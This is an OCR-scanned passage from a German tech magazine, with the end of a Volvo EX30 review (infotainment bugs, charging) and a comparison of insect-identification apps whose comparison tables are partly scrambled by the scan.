sicht schaut und Augen- und Kopfbewe-
gungen erkennt. Registriert das System,
dass der Blick fiir eine bestimmte Zeit die
Fahrbahn verlassen hat, piept der Wagen
und blendet im Infotainment-Display eine

Der Kunststoff
im Innenraum
besteht aus wie-
derverwertetem
Plastik.
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Warnung ein. Eigentlich ein absolut sinn-
voller Assistent, der Unfille aufgrund von
Unaufmerksamkeit oder Mudigkeit ver-
hindern kann.

Im Volvo EX30 nervt der Assistent
aber: Die Kombination aus Display in der
Mitte und geringer Warnschwelle fiihrt
dazu, dass das Auto oft erzieherisch tétig
wird. Mal kurz auf den Tacho geschaut und
gecheckt, wann die Abfahrt kommt: Bing!
Ermahnung. Lautstdrke-Slider gesucht
und die Musik leiser gemacht: Bing! In
Summe sind es ungewohnlich viele Dinge,
die man zu Beginn der Fahrt einfach ab-
schalten wird.

Infotainment

Volvo setzt beim EX30 auf Android Auto-
motive mit Google-Diensten. Die Anmel-
dung mit dem Google-Account verlauft
problemlos. Man kann das System aber
auch ohne Google-Konto als Gast nutzen.
Dann fehlen personalisierte Voreinstel-
lungen wie die vom Smartphone gewohn-
ten Navigationsziele. Besonders praktisch:
Unterschiedliche Profile lassen sich an
Fahrzeugschliissel koppeln. Mit dem
Schliissel erkennt das Fahrzeug den Be-
sitzer und aktiviert die individuell gewahl-
ten Fahrzeugeinstellungen wie Sitzposi-
tion, Spiegeleinstellung und das bevorzug-
te Raumklima.

Hier hort das Loblied aufs Infotain-
ment leider abrupt auf, denn das System
stiirzte auch in der Version 1.3.1 bei ldnge-
ren Fahrten wiederholt ab. Immerhin
merkte es sich das Navigationsziel, sodass
wir das Ziel wihrend der Fahrt nicht per-
manent neu eingeben mussten. Simtliche

Informationen samt Tachoanzeige sind
beim Reboot aber fiir etwa 20 Sekunden
verschwunden - ein klares No-Go.

Verwunderlichist, dass bekannte Feh-
ler trotz einiger Firmware-Updates nicht
behoben wurden. Dazu zahlt etwa das
Einblenden sinnfreier Abstandsanzeigen
der Ultraschallsensoren bei Stopps an der
Ampel. Die Information, dass der Hinter-
mann auf 97 Zentimeter herangeriickt ist
oder ein Busch rechts vom Fahrzeug 42
Zentimeter entfernt ist, hilft vor einer
roten Ampel nur wenig. Leider liefs sich
das Infofenster nicht schlief3en, sodass der
Blick aufs Navigationsfenster versperrt
blieb. Die Warnung vor knapp werdendem
Wischwasser legte sich leider dauerhaft
iiber die grafische Darstellung der Fahr-
zeugumgebung. Die OK-Fliche zur Besta-
tigung funktioniert nicht.

Abgesehen von der Tempomatrege-
lung am Lenkrad und den Schaltern fiir die
elektrischen Fensterheber an der Mittel-
armlehne gibt es im EX30 keine physi-
schen Knopfe. Alles weitere hat Volvo auf
den Touchscreen verbannt. Die Mentis
sind logisch aufgebaut, gehen aber zu tief,
um sie wihrend der Fahrt noch sicher zu
bedienen: Biep!

Eine Kernfunktion jedes Infotain-
ments - das Radio - funktionierte mehr
schlecht als recht. Es gibt keine manuelle
Auswabhl eines Senders iiber die Frequenz
oder den Namen. Will man einen Sender
gezielt auswahlen, klappt das nur iiber die
Senderliste. Das Problem dabei: Das Sys-
tem scannt im Hintergrund stidndig die
Frequenzen und aktualisiert die Liste dy-
namisch. Was gerade eben noch angezeigt

Der Innenraum ist sehr aufgeraumt. Das einzige Display sitzt in der Mitte,
Knépfe sucht man am Armaturenbrett vergeblich.
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wurde, kann in einem Kilometer schon
wieder fehlen. Abhilfe: Wer schnell ist,
driickt aufs Sternchen, wenn der Sender
gerade angezeigt wird und schiebt ihn so
indie Favoritenliste, wo er jederzeit abruf-
bar bleibt.

Die néchste Skurrilitit: Beide Testwa-
gen unterbrachen inldndlichen Regionen
stindig das DAB-Radioprogramm. Wir
haben eine Weile gebraucht, bis wir ver-
standen, warum: Der EX30 trigt die An-
tennen in der Heckscheibe und hat wegen
des Panoramadachs keine Haifischflosse.
Moglicherweise liegen die LED-Treiber
der riickwartigen Bremsleuchten zu nah
an der Antenne. Wenn die Bremslichter
leuchteten, brach der DAB-Empfang bei
schwachem Signal zusammen und das
Radio verstummte. Jeden Bremsvorgang
und jedes Rekuperieren bei der Gasweg-
nahme durfte man dannin vollkommener
Stille genieflen. Beim FM-Empfang trat
der Effekt nicht auf.

Die Google-Navigation funktionierte
wie erwartet sehr gut, inklusive der Rou-
tenplanung mit Ladestopps. Etwas gewoh-
nungsbediirftig ist wie bei anderen Fahr-
zeugen mit Google-Services die doppelte
Anzeige der Reichweite; im EX30 findet
man beide Werte auf dem Mitteldisplay.
Im oberen Bereich vermeldet das Fahr-
zeug seine selbst ermittelte Reichweite,
unten berechnet Google. Die Zahlen kon-
nen bei voll aufgeladenem Fahrzeug gut
150 km auseinanderliegen, wobei Google
die verlésslicheren Informationen liefert.

Insgesamt hinterlief3 das Infotain-
ment-System einen durchwachsenen Ein-
druck. Das zugrundeliegende Android
Automotive funktioniert bei anderen Her-
stellern grundsétzlich gut, wie wir etwa
im Renault Megane E-Tech oder dem Pole-
star der Volvo-Geely-Schwester ausgiebig
testen konnten. Insofern besteht begriin-
dete Hoffnung, dass Volvo dem EX30 die
nervigen Bugs noch austreiben wird. Al-
lerdings sollte der Konzern sich damit be-
eilen, denn manche Kunden scheinen die
Geduld zu verlieren: So berichtete die bri-
tische Motorpresse unlangst, dass mehre-
re Kunden in England ihren EX30 auf-
grund von Softwarefehlern zuriickgege-
ben und sich den Kaufpreis erstatten
haben lassen. Kurz vor Redaktionsschluss
teilte Volvo mit, dass derzeit ein Over-The-
Air-Update eine neue verbesserte Soft-
ware auf die Fahrzeuge bringen soll. Unse-
ren zweiten Testwagen erreichte das Up-
date bereits, 16ste die oben beschriebenen
Probleme aber nicht.

c't 2024, Heft 17



Laden

Unter dem Tankdeckel im hinteren Kot-
fliigel steckt eine CCS-Buchse (Combi-
ned-Charging-System), die den Volvo an
Gleichstrom mit maximal 150 kW ladt.
Sofern wir wihrend einer navigierten
Fahrt mit einem eingeplanten Ladestopp
an die Saule fuhren, klappte das auch gut:
Dank Vorkonditionierung startete der
EX30 ander DC-Siule mit 150 kW. Sobald
sich der Akku beim Schnellladen erwidrm-
te, lie die Ladeleistung nach. Solange der
Akku unter einem Ladestand von 80 Pro-
zent blieb, pendelte sie sich im Mittel bei
70 bis 80 kW ein, was die Ladezeit aber
immer noch angenehm kurz halt.

Um den Akku zu schonen, regelt der
EX30 ebensowie andere E-Autos die Leis-
tung bei einem hoheren Fiillstand deutlich
herunter. Wahrend wir in rund 20 Minuten
von 15 auf 80 Prozent luden, veranschlag-
te das Auto fiir die letzten 20 Prozent eine
gute Stunde.

Dank der Reichweite von mehrals 450
Kilometern gibt es kaum einen Grund, den

Wagen an Schnellladesiulen bis zum An-
schlag zuladen, weshalb wir die Drosselung
bei nahezu vollstindiger Ladung nicht als
besonders storend empfanden. Wer seinen
Akkunoch mehr schonen will, kannin den
Fahrzeugeinstellungen auch festlegen, dass
der Ladevorgang bei einem konfigurierba-
ren Schwellenwert automatisch abbricht.

Fiirs Laden an der heimischen Wall-
box oder in abgelegenen Regionen gibt es
einen AC-Charger an Bord. In der Basis-
variante erreicht er allerdings nur 11 kW.
Da nichts nerviger ist, als etwa im Urlaub
sechs statt drei Stunden an der Ladeséule
zu warten, sollte man wie bei jedem E-
Auto gegen Aufpreis den 22-kW-Charger
bestellen. Damit lud der EX30 mit rund
20 kWh deutlich fixer.

Informationen zum Ladevorgang
schaut man besser in der App oder an der
Saule nach. Das Fahrzeugdisplay spuckt
nur sehr spartanisch Informationen aus
und begniigt sich mit der Anzeige des La-
destands und der voraussichtlichen Rest-
dauer.
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Fazit

Der EX30 von Volvomachtvielesrichtig. Er
sieht schick aus, ist sicher, ordentlich ver-
arbeitet und bietet ein gutes Fahrverhalten.
Das Plus-Modell (mit schnellem AC-Laden
und dem grofleren Akku) bietet eine um-
fangreiche Ausstattung, Fahrleistung und
Reichweite, sodass man eigentlich kaum zur
teuersten Variante greifen muss.

Das Fazit konnte uneingeschrankt
positiv ausfallen, wenn sichim Alltag nicht
die nervigen Kleinigkeiten summieren
wiirden: der fehlende Mitteltacho, das feh-
lende Head-Up-Display, die nervigen Soft-
ware-Bugs und die unausgereiften Fahr-
assistenten. Vieles davon liefe sich ganz
ohne Werkstattbesuch mit einem Softwa-
re-Update beheben. Dass Volvound Geely
es besser konnen, beweisen Polestar und
andere Marken der Konzerne. Sobald das
umgesetzt wird, bietet der junge Schwede
ein gutes Gesamtpaket, fiir das man bei
anderen Herstellern oft tieferin die Tasche
greifen muss und trotzdem ein langweili-
geres Auto bekommt. (spo@ct.de) ¢t
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Was krabbelt denn da?

Insekten bestimmen per App: zehn Anwendungen im Uberblick

Im Sommer sirrt, brummt und
wuselt es drauBen, unzahlige
Insekten sind unterwegs. Wer
sich fragt, was ihm da gerade
auf dem Kopf gelandet oder
tiber die FiiBe gekrabbelt ist,
dem bieten einige Apps Hilfe an.
Wir stellen zehn davon vor.

Von Greta Friedrich

inige schillern bunt, manche sind nied-

lich und flauschig, andere ein bisschen
eklig. Die Welt der Insekten ist vielfaltig,
den Menschen aber oft bis auf einige Ver-
treter wie Stechmiticke, Marienkéfer und
Hummel eher fremd. Mithilfe von Apps
wollen Experten und Umweltorganisatio-
nendas andern und mehr Bewusstsein fiir
die kleinen Lebewesen und ihre Rolle in

der Natur schaffen. Wir haben uns zehn
Anwendungen naher angesehen, die In-
sekten aufunterschiedliche Weise bestim-
men oder zumindest dabei helfen.

Am einfachsten geht das, wenn der
Nutzer direkt ein Foto machen oder aus
der Galerie wihlen kann und die App das
unbekannte Insekt per Objekterkennung
bestimmt. Auf diese Weise arbeiten
BUND Insekten Kosmos (Vollversion),
iNaturalist, die Web-App NABU Insek-
tensommer, ObslIdentify, Picture Insect
und Seek. Variante zwei ist die Bestim-
mung per Merkmalsauswahl, bei der die
Insektenliste nach und nach eingegrenzt
wird. So funktionieren BUND Insekten
Kosmos (Basisversion), ID-Logics, Natur-
blick und Schmetterlinge Osterreichs. Als
dritte Moglichkeit kann man seine Funde
von der App-Community begutachten
lassen, das geht bei iNaturalist, naturbe-
obachtung.at und Schmetterlinge Oster-
reichs.

Alle Anwendungen, die wir auspro-
biert haben, sind kostenlos oder haben
zumindest eine kostenlose Basisversion.
Bei ID-Logics zahlt einmalig 3,50 Euro,
wer auch Baume und Straucher bestim-
men will. BUND Insekten Kosmos und
Picture Insect haben eine kostenlose, aber
eingeschriankte Basisversion und bieten
eine kostenpflichtige Vollversion. Dafiir
sind bei BUND Insekten Kosmos 4,99
Euro pro Monat oder 24,99 Euro pro Jahr
tallig, bei Picture Insect 2,89 Euro pro
Woche, 5,99 Euro pro Monat oder 29,99
Euro pro Jahr. Fast alle Kandidaten sind
fiir iOS und Android verfiigbar, allein
NABU Insektensommer ist eine Web-App.

Im Dienste der Wissenschaft

Die App-Betreiber sind meist Forschungs-
einrichtungen, Naturschutzverbande oder
Stiftungen, die Inhalte werden oft von Ex-
perten kuratiert. Einzig das Unternehmen
Next Vision Limited, das Picture Insect ent-
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Uber die Web-App des NABU geben Nut-
zer Schritt fiir Schritt ein, welche Insek-
ten sie beobachtet haben, wie viele und
in welchem Entwicklungsstadium.

wickelt, fallt aus dem Rahmen: Es hat sich
auf Apps spezialisiert, die Dinge mithilfe
von Deep Learning erkennen - von Insek-
ten tiber Miinzen bis hin zu Heilkristallen.
Betreiber der anderen Apps sind der
BUND, die Leibniz Universitat Hannover,
die gemeinniitzige Organisation iNatura-
list aus den USA mit gleich zwei Apps, der
NABU, der Naturschutzbund Osterreich,
das Museum fiir Naturkunde Berlin sowie
die gemeinniitzigen Stiftungen Observa-
tion International (Niederlande) und Blii-
hendes Osterreich. Sie ziehen die Apps
mitunter als Citizen-Science-Projekte auf
und werten die Beobachtungen der Nutzer
aus, um Insektenvorkommen zu doku-
mentieren, naturwissenschaftliche Daten-
banken zu erginzen oder auch ihre KI-Mo-
delle zur Fotobestimmung zu trainieren.

Regionen und Artenlisten

Oft fokussieren sich die Anwendungen auf
ein bestimmtes Gebiet: BUND Insekten
Kosmos beispielsweise auf Deutschland,
ihre Schwester-App Insektenfiihrer Pro
Natura auf die Schweiz (die Apps sind im
jeweils anderen Land nicht in den Stores
verfiigbar, hier betrachten wir die BUND-
App) und naturbeobachtung.at auf Oster-
reich (die App ist auch auferhalb Oster-
reichs verfiigbar). Da Insekten nicht an
Grenzen halt machen, funktionieren die
Apps auch iiber ,ihr“ Gebiet hinaus.
iNaturalist, Picture Insect und Seek wollen
sogar weltweit Insekten erkennen.

Wie viele Arten die Apps kennen,
unterscheidet sich teils stark. Sehr einge-
schrinkt ist Naturblick mit gut 70 Arten,
denn es fokussiert sich auf den Lebens-
raum Stadt und will einen Uberblick iiber
verschiedene Lebewesen dort geben. Be-
sonders viele Insekten findet man mit
iNaturalist, ObslIdentify, Picture Insect
und Seek, die jeweils Tausende Arten ken-
nen. Darliber hinaus hilft bei iNaturalist,
naturbeobachtung.at und Schmetterlinge
Osterreichs im Zweifel die Community.

Abgesehen von ObslIdentify enthal-
ten alle Kandidaten eine Art Lexikon, in
dem Nutzer durch die Tiere stobern und
mehr lber sie lernen konnen. Bei natur-
beobachtung.at sind leider viele Arten
weder mit Bildern illustriert noch mit
Texten niher beschrieben. iNaturalist
und Seek geben als Quelle fiir ihre Texte
Wikipedia an, andere Anbieter wie
BUND, ID-Logics, NABU und Naturblick
haben eigene Beschreibungstexte fiir ihre
App verfasst.

Natur-Apps | Test & Beratung
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Die Schwester-Apps BUND Insekten
Kosmos (links) und Insektenfiihrer Pro
Natura stammen von derselben Entwick-
lungsfirma, sie unterscheiden sich nur
bei den enthaltenen Arten und minimal
im Design.

Fotoobjekt entwischt

Die sechs Apps, die Insekten per Foto er-
kennen, waren in unseren kurzen Tests
allesamt ziemlich treffsicher; zumindest,
soweit die Autorin das als Laiin beurteilen
konnte. Seek sticht hervor, identifiziert
Arten sogar live und benétigt dazu keine
Internetverbindung; auch BUND Insekten
Kosmos arbeitet offline. Richtet man die
Seek-Kamera auf'ein Lebewesen, blendet
sie oben eine siebenteilige Punkteskala ein
und schreibt, wie weit sie mit der Klassi-
fizierung ist. Jeder Punkt der Skala steht
flir eine taxonomische Ebene, vom Reich
(Tiere) bis hinunter zur Art, etwa dem Gro-
3en Kohlweifiling.

Anfang August: Insekten beobachten und dem NABU melden

Die Zeit vom 2. bis zum 11. August 2024
ist eine gute Gelegenheit, Insektenerken-
nungs-Apps auszuprobieren: Dann lauft
die Aktion ,Insektensommer” von NABU,
dem Landesbund fir Vogel- und Natur-
schutz in Bayern (LBV) und ihrem Partner
NABU|naturgucker. Sie rufen in diesem
Zeitraum dazu auf, Insekten zu beobach-
ten und die Funde zu melden.

Dazu soll man sich flr eine Stunde an
einem Ort aufhalten und alle Insekten im
Umbkreis von etwa zehn Metern notieren,
die auftauchen und bestimmbar sind; und
zwar jeweils die hochste Anzahl gleich-
zeitig anwesender Vertreter einer Art.
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Sieht man zum Beispiel zwei Tagpfauen-
augen auf einer Bllite sitzen, erfasst man
diese. Flattert zwanzig Minuten spater ein
weiteres Tagpfauenauge vorbei, wird es
nicht extra erfasst, denn es kénnte eines
der beiden zuvor gesichteten sein.
SchlieBlich meldet man seine Ergeb-
nisse Uber das Onlineformular auf der
NABU-Website oder Uber die hier vorge-
stellte NABU-Web-App. Auf der Startseite
gibt es daflir den Punkt ,Jetzt Insekten
melden!”. Nach der Eingabe von Namen
und Mailadresse folgt die ,Entdeckungs-
frage”, die jedes Jahr ein einfach zu be-
obachtendes Insekt hervorhebt. In diesem

Jahr geht es darum, Feuerwanzen zu zéh-
len. AnschlieBend tragt man in das Formu-
lar optional alle beobachteten Insekten ein.

Die Teilnehmer kénnen auch Bilder
oder Videos zu ihren Beobachtungen
hochladen. Dann notieren sie Beobach-
tungsstandort, Lebensraum (zum Bei-
spiel Wald, Balkon oder Teich) sowie das
Datum der Beobachtung und schicken
die Meldung ab. Auf seiner Website ord-
net der NABU die Ergebnisse der Zahl-
aktion ein und stellt sie auf einer inter-
aktiven Deutschlandkarte dar. Diese und
mehr Informationen finden Sie unter ct.
de/ygf5.
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Erst wenn alle Punkte der Skala griin
gefirbt sind, soll man den Ausloser drii-
cken, denn sonst wird die Art nicht er-
kannt. Bei flinken Tieren kann es dann zu
spat sein, um den Fund fotografisch fest-
zuhalten. Schade ist auch, dass man Fotos
aus der Galerie zwar bestimmen lassen,
aber nicht auf das Objekt zuschneiden
kann. Damit Seek trotzdem die abgebilde-
te Art erkennt, muss das Ziel zentral und
moglichst grof abgebildet sein. Mit den
anderen Testkandidaten, die Insekten auf
Fotos bestimmen, lassen sich Bilder zu-
schneiden und zoomen.

App mit Lehrauftrag

Die Macher von ID-Logics haben sich be-
wusst gegen die automatische Fotoerken-
nung entschieden. Das App-Projekt leitet
Jorge Grof3, Professor fiir Biologiedidaktik
an der Leibniz Universitdit Hannover
(LUH). Er erkldrt, dass es bei ,,digitalen
Medien kompetenzerweiternde und kom-
petenzvermindernde Technologien gebe.
Automatische Bilderkennung sei eine
Black Box und vermittle ,gerade nicht das
genaue Hinsehen.”

ID-Logics solle ,,Menschen wieder
Spafd an der Natur vermitteln, Lust aufs
Entdecken machen und Kompetenzen
vermitteln“, deshalb gebe es statt der Bild-
erkennung interaktive Hilfen, zum Bei-
spiel kurze Erklarvideos zu einzelnen Be-
stimmungsfragen oder ein Glossar. Die
Appleitet Nutzer anhand von Fragen, viele
davon sind mit farbigen Grafiken verse-
hen. Sofragt ID-Logics zum Beispiel: ,,Wie

SEEK-KAMERA

®
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@
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Jeder Punkt auf der Seek-Kamera steht
fiir eine taxonomische Ebene - vom Reich
bis zur Art. Auf diese Weise klassifizieren
Wissenschaftler Lebewesen.

DEIN ZIEL

Richte die Kamera auf ein Lebewesen und
mache ein Foto, sobald die Bestimmung
durch die Kamera bis zum Art-Level
fortgeschritten ist.

istder Hinterleib (Abdomen) [einer Hum-
mel] gemustert?“ oder ,Welche Farbe be-
sitzt der Kopf [einer Ameise]?“. Die jeweils
nichsten Fragen und Antwortmoglichkei-
ten berechnet die App abhingig von den
gegebenen Antworten. Selbst wenn der
Nutzer ein Merkmal nicht richtig erkennt,
kann er so zur passenden Art gelangen.

Nach dem ersten Offnen fiihrt ID-Lo-
gics mit kleinen Hinweisen durch die An-
wendung, Nutzer konnen diese bei Bedarf
iiber die Einstellungen erneut einblenden
lassen. Tatséchlich ist die Meniifithrung
der App teils uniibersichtlich, weil es meh-
rere separate Artengruppen mit jeweils
eigenem Bestimmungsschliissel gibt. So
hat beispielsweise der NABU an der Hum-
melgruppe mitgearbeitet und mehrere
Schulklassen an der Tagfaltergruppe. In-
nerhalb der Gruppen kénnen Nutzer durch
die Arten stobern, sie bestimmen, ihre
Beobachtungen eintragen und speichern.

Auch mit BUND Insekten Kosmos,
Naturblick und Schmetterlinge Oster-
reichs bestimmt man Arten per Merkmals-
auswahl. Bei den ersten beiden klickt der
Nutzer die Merkmale, die er erkannt hat,
direkt in einem bebilderten Formular an
und filtert so nach und nach die Ergebnis-
liste. Die BUND-App hat deutlich mehr
Filtermoglichkeiten als Naturblick, zum
Beispiel, ob die Fliigel im Sitzen sichtbar
sind oder das Tier metallisch glinzt.

Hilfreiche Communitys

Ein Filterformular hat auch die osterrei-
chische Schmetterlings-App, es funktio-

ART

GroRer Kohlweifling

#

© 0 *O O

Seek versucht, das Objekt im Kamerabild live zu bestimmen. Wie weit die App ist,

zeigt sie mithilfe der Punkteskala oben.
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BUND Insekten Kosmos

Seit Ende April 2024 gibt der BUND
Niedersachsen eine eigene Insekten-
App fir Deutschland heraus: In der
kostenlosen Basisversion stobern Nut-
zer durch bebilderte Portrats von 500
Arten oder bestimmen diese per Merk-
malsauswahl (Filtersymbol unten). Fir
jahrlich knapp 25 Euro erweitert sich
die App auf fast 1900 Arten und um
eine Fotoerkennung. Die Schweizer
Schwester-App ,Insektenflihrer Pro Na-
tura” unterscheidet sich nur in Details.

© Merkmalsfilter fiir Profis und
Einsteiger
© informative Artenportrats

niert aber nicht anndhernd so gut wie bei
den oben genannten Kandidaten. Selbst
wenn man ganz konkrete Farben und Mus-
ter auswahlt, erscheinen in der langen Er-
gebnisliste Falter, die damit offensichtlich
nichts gemein haben. Bevor man diese
mithsam einzeln aus der Liste entfernt,
speichert man die Beobachtung lieber di-
rekt und fragt so die hilfsbereite Commu-
nity um Rat.

Denndaswiederumist die Starke von
Schmetterlinge Osterreichs und auch von
naturbeobachtung.at: Thre Community
nimmt sich neuer Beobachtungen schnell
an, reagiert mit Likes, Kommentaren und
Bestimmungen. Wihrend unseres Tests
klappte das jeweils noch am selben Tag.
In beiden Apps muss man angemeldet
sein, um eine Beobachtung inklusive Foto
und eigener Einschitzung der Art hoch-
zuladen. In der iOS-Version von naturbe-
obachter.at verhindert allerdings derzeit
ein Bug, dass man sich neuregistriert, der
entsprechende Button ist funktionslos.
Registriert man sich stattdessen via Web-
site oder Android-App, kann man sich
auch unter iOS anmelden.
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Bestimmung
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ID-Logics

Die App fihrt Nutzer mit Fragen durch
den Bestimmungsprozess. Dabei helfen
kleine Grafiken und kurze Erklarvideos,
zum Beispiel iber das Pollenkérbechen.
Am Ende erscheint eine Ergebnisliste;
die bebilderten Insektensteckbriefe
lassen sich direkt vergleichen. Die Ar-
tengruppen (etwa Ameisen, Marienka-
fer oder Tagfalter) ladt man einzeln
herunter und kann sie dann offline nut-
zen.

iNaturalist

Hier soll die Community bei der Bestim-
mung helfen, schneller ist jedoch die
Fotoerkennung. Macht man eine Beob-
achtung mit der App, reicht ein Tipp
auf ,Was hast du gefunden?”, um die
Funktion zu starten. In der Regel schlagt
iNaturalist dann eine Gattung und meh-
rere Arten vor, inklusive kurzem Steck-
brief. Um Beobachtungen hochzuladen
und die Community zu konsultieren,
muss man in der App angemeldet sein.

NABU Insektensommer

Die NABU-Web-App funktioniert nur on-
line im Browser. Unter ,Insekten bestim-
men” laden Nutzer ein Foto hoch, via
JInsektengruppe anfragen” erhalten sie
Vorschlage inklusive Wahrscheinlich-
keitswert. Von der Gruppe hangelt man
sich Uber Familie und Art zum ausftihrli-
chen Steckbrief. Via ,Stammbaum®-But-
ton verfolgt man den Baum riickwarts,
von der Gattung Uber Familie, Ordnung,
Klasse und Stamm bis zum (Tier-)Reich.

© flihrt durch Bestimmungsprozess
© fehlende Artengruppen (z. B. Kéfer)

© gute Fotoerkennung
© Community braucht Zeit

© schrittweise Fotobestimmung
© Beobachtungen nicht speicherbar

Insektenbestimmungs-Apps

Name BUND Insekten Kosmos

Hersteller, URL Sunbird Images OHG, BUND
(Hrsg.); sunbird.tv/product/
insektenkosmos

Systemanf. / Browserversion Android ab 8.0,i0S ab 14.0 / —
Datenschutzerkldrung DE v

Lander / Regionen' laut Anbieter  Deutschland?
Insektendatenbank laut Anbieter 500 bzw. fast 1.900°

werbefrei / Tracker / Berechtigun-  —5/0/ 14
gen

Registrierung mdglich / nétig fir —~ —/—
Insektenbestimmung

In-App-Kaufe V (Vollversion)

ID-Logics

INITREE Software GmbH; Projekt
der Leibniz Universitat Hannover;
id-logics.com

Android ab 5.1,i0S ab 11.0 / —
v
deutschsprachiger Raum

37 Wildbienen & Wespen, 49
Hummeln, 35 Ameisen, 25 Tiere in
der Laubstreu, 51 Marienkafer,
151 Tagfalter, bald auch Libellen

v /0/9

viE

iNaturalist
iNaturalist; inaturalist.org

Android ab 6.0,i0S ab 12.0 / v/

— (EN)
global

ca. 90.000 Arten gesamt, davon

Tausende Insekten

v /3/18

V-

V/ (Artgruppe Baume & Straucher) —

NABU Insektensommer

NABU, naturgucker.de/insekten-
sommer

naturbeobachtung.at

Naturschutzbund Osterreich,
naturbeobachtung.at/ platform/
mo/nabeat/index.do

/v Android ab 6.0,i0S ab 13.0 / v/
v v

Deutschland Osterreich

457 keine Angabe

VYR NIEVEY

v - IV

Insektenbestimmung: Foto / ViV -

Merkmale / Community

Bestimmung offline v

Funde speichern v

Funde melden / teilen /v

Artenportraits in der App v

weitere Objekte auer Insekten v/ (z. B. TausendfiiBer, Spinnen,
Asseln)

Preis kostenlose Basisversion, Vollver-
sion als Abo (4,99 €/Monat;
24,99 €/Jahr)

1 Apps bilden die dortige Insektenwelt ab
2 Schwester-App fiir die Schweiz: Insektenfiihrer Pro Natura
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%in der kostenpflichtigen Vollversion
“im Modell, das Ende 2024 erscheint

/v /- vi=Iv
v _1

v v

Vo - V-

v v

+/ (Amphibien & Reptilien, Baume
& Straucher, Eulen & ihre Gewdlle,
Friihjahrsbliiher, Muscheln &
Schnecken, Wildblumen; dem-
nachst Libellen, Pilze)

Nutzung kostenlos; Artgruppe
Baume und Straucher 3,49 €

v[=/- —/=/v
- v

v /- v /-

v V/ (viele leer)

/ (Fische, Vogel, Reptilien, Amphi- = —

bien, Sdugetiere, Spinnentiere,
Pflanzen, Pilze, Protozoen, Weich-

tiere, Braunalgen)

kostenlos

% in der kostenlosen Version (Werbung fiir die Vollversion)
% keine native App

kostenlos

v/ (z. B.Vogel, Saugetiere, Amphi-
bien & Reptilien, Fische, Pilze,
Moose, Farne und Bliitenpflanzen)

kostenlos

" mit Account bei ID-Logics (Beobachtungen sichem) /

naturgucker (Beobachtungen melden)
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naturbeobachtung.at

Angemeldete Nutzer laden tber den
naturbeobachtung.at-Button fix eine
Beobachtung hoch: Foto(s) machen
oder hochladen, Artengruppe und Art
wahlen, absenden. Unser Testfoto be-
stimmte die Community innerhalb
einer halben Stunde. Ein nerviger Bug
verhindert, dass sich Fotos ohne Stand-
ortdaten hochladen lassen: Das manu-
elle Nachtragen in der App funktioniert
derzeit nicht.

Blenan, Wespen & Co

> .

| w0 ¢ |
Naturblick

Auf die Flora und Fauna von Stadten in
Deutschland ist die App des Berliner
Naturkundemuseums spezialisiert. Die
Insektenauswahl ist daher eher klein,
aktuell sind es 29 Hymenoptera- (Haut-
fligler wie Bienen und Wespen) und 33
Schmetterlingsarten. Fir jede Gruppe
gibt es ein kurzes, bebildertes Formular,
das Merkmale wie Farben, Formen,
Muster oder Behaarung abfragt und die
Artenliste danach filtert.

© rege Community
© standort-Bug

© einfacher Merkmalsfilter
© wenige Arten

Natur-Apps | Test & Beratung

Badgn

*

I

Melde Brobacktsagen van Bienen
und Hommeln, am deines ersten Stern
u arhalten

Obsldentify

Die App bestimmt Insekten per Foto,
offline speichert sie das Bild in der
Smartphonegalerie. Fotos ohne Stand-
ortdaten lassen sich leider nur tiber die
zugehodrige Website hochladen und
bestimmen. Ohne Account sind ,nur”
50 Bestimmungen pro Tag drin. Obs-
Identify belohnt Nutzer mit Abzeichen;
wer sich anmeldet, kann auBerdem an
Herausforderungen teilnehmen, zum
Beispiel gebietsfremde Arten suchen.

© motivierende Abzeichen
© Standort nicht editierbar

Naturblick

Museum fiir Naturkunde Berlin, natur-
blick.museumfuernaturkunde.berlin

Obsldentify

Android ab 5.0,i0S ab 15.0 / —
v v
Stédte in Deutschland

40 Hymenoptera- (Hautfliigler-), 33

Schmetterlingsarten arten*
v/1/14 v'/3/16
v/= v /-

-/ /- vi=/-
J 11

v v

- /= v/-
7 _1n

V/ (Vogel, Pflanzen, Amphibien &
Reptilien, Schnecken, Séugetiere)

kostenlos kostenlos

& mit naturgucker-Account
¢ mit iNaturalist-Account
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Observation International, observation.org = Next Vision Limited, pictureinsect.com

Android ab 8.0,i0S ab 13.4 / v/

Europa, Niederlandische Karibik
53.916 Arten, davon 20.914 Insekten-

19 nachdem Artengruppe heruntergeladen
1 Fund speichern und spater bestimmen

Picture Insect — Insekten ID®

Schmetterlinge Osterreichs
apptec GmbH, Bliihendes Osterreich —

Seek hy iNaturalist
iNaturalist; inaturalist.org/pages/seek_

BILLA gemeinniitzige Privatstiftung (Hrsg.), -app
schmetterlingsapp.at

Android ab 9,i0S ab 14.0 / —

— (EN) v
global (meiste Lénder/Regionen) Osterreich
{iber 10.000

—°/3/14 V' /2/20
= IV

v/ (Vollversion) -

vi[=/- -/ Y
= v

v v

-/v VIV
v v

V/ (wildiebende Tiere und Pflanzen, - -
2.B. auch Pilze, Muscheln))

kostenlose Basisversion, Vollversion als kostenlos
Abo (2,89€/Woche, 5,99 €/Monat,
29,99 €/Jahr)

2nur in der Browser-Version
13 hei Apple: Picture Insect: Identifikation

Android ab 5.0,i0S ab 12.0 / v/

189 Falter, davon 32 Nachtfalter

V/ vorhanden

Android ab 6.0,i0S ab 12.4 / —
—(EN)
global

ca. 20.000 Arten insgesamt,
davon Tausende Insekten

v /0/13

J?/_

JQ / =
V/ (Arten in der Nahe)

V/ (Pflanzen, Amphibien & Reptilien, Pilze,
Fische, Spinnen, Vogel, Weichtiere. Sauge-
tiere)

kostenlos

— nicht vorhanden
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Picture Insect - Insekten ID

Dass sie eine umfangreiche kostenlose
Basisversion hat, verbirgt diese App mit
allen Mitteln. Gleich beim ersten Offnen
und immer wieder zwischendurch gibt
es ein Pop-up, das ein kostenpflichtiges
Abo mit einwochiger Testphase auf-
drangt; von Gratisnutzung kein Wort.
Wer das Fenster schlieft, kann die Ba-
sis-App dauerhaft kostenlos nutzen. Sie
bestimmt Insekten anhand eines Fotos
und liefert ausfiihrliche Steckbriefe.

¥ W

| w0 < |
Schmetterlinge
Osterreichs

Die App soll Daten tiber Schmetterlinge
in Osterreich sammeln, daher sind nur
Osterreichische Standorte wahlbar. Ein-
mal angemeldet, kann man Fotos hoch-
laden. Per Filter konnte man dann ver-
suchen, den abgebildeten Schmetterling
zu bestimmen, bei uns blieb das erfolg-
los. Schon: Innerhalb von zwei Stunden
bestimmte ein Nutzer unser Foto und
beantwortete sogar Nachfragen.

ARTEM IN DER MAHE

Seek by iNaturalist

Die kleine Schwester-App von iNatura-
list hilft bei Beobachtungen unterwegs,
sogar offline. Richtet man die Kamera
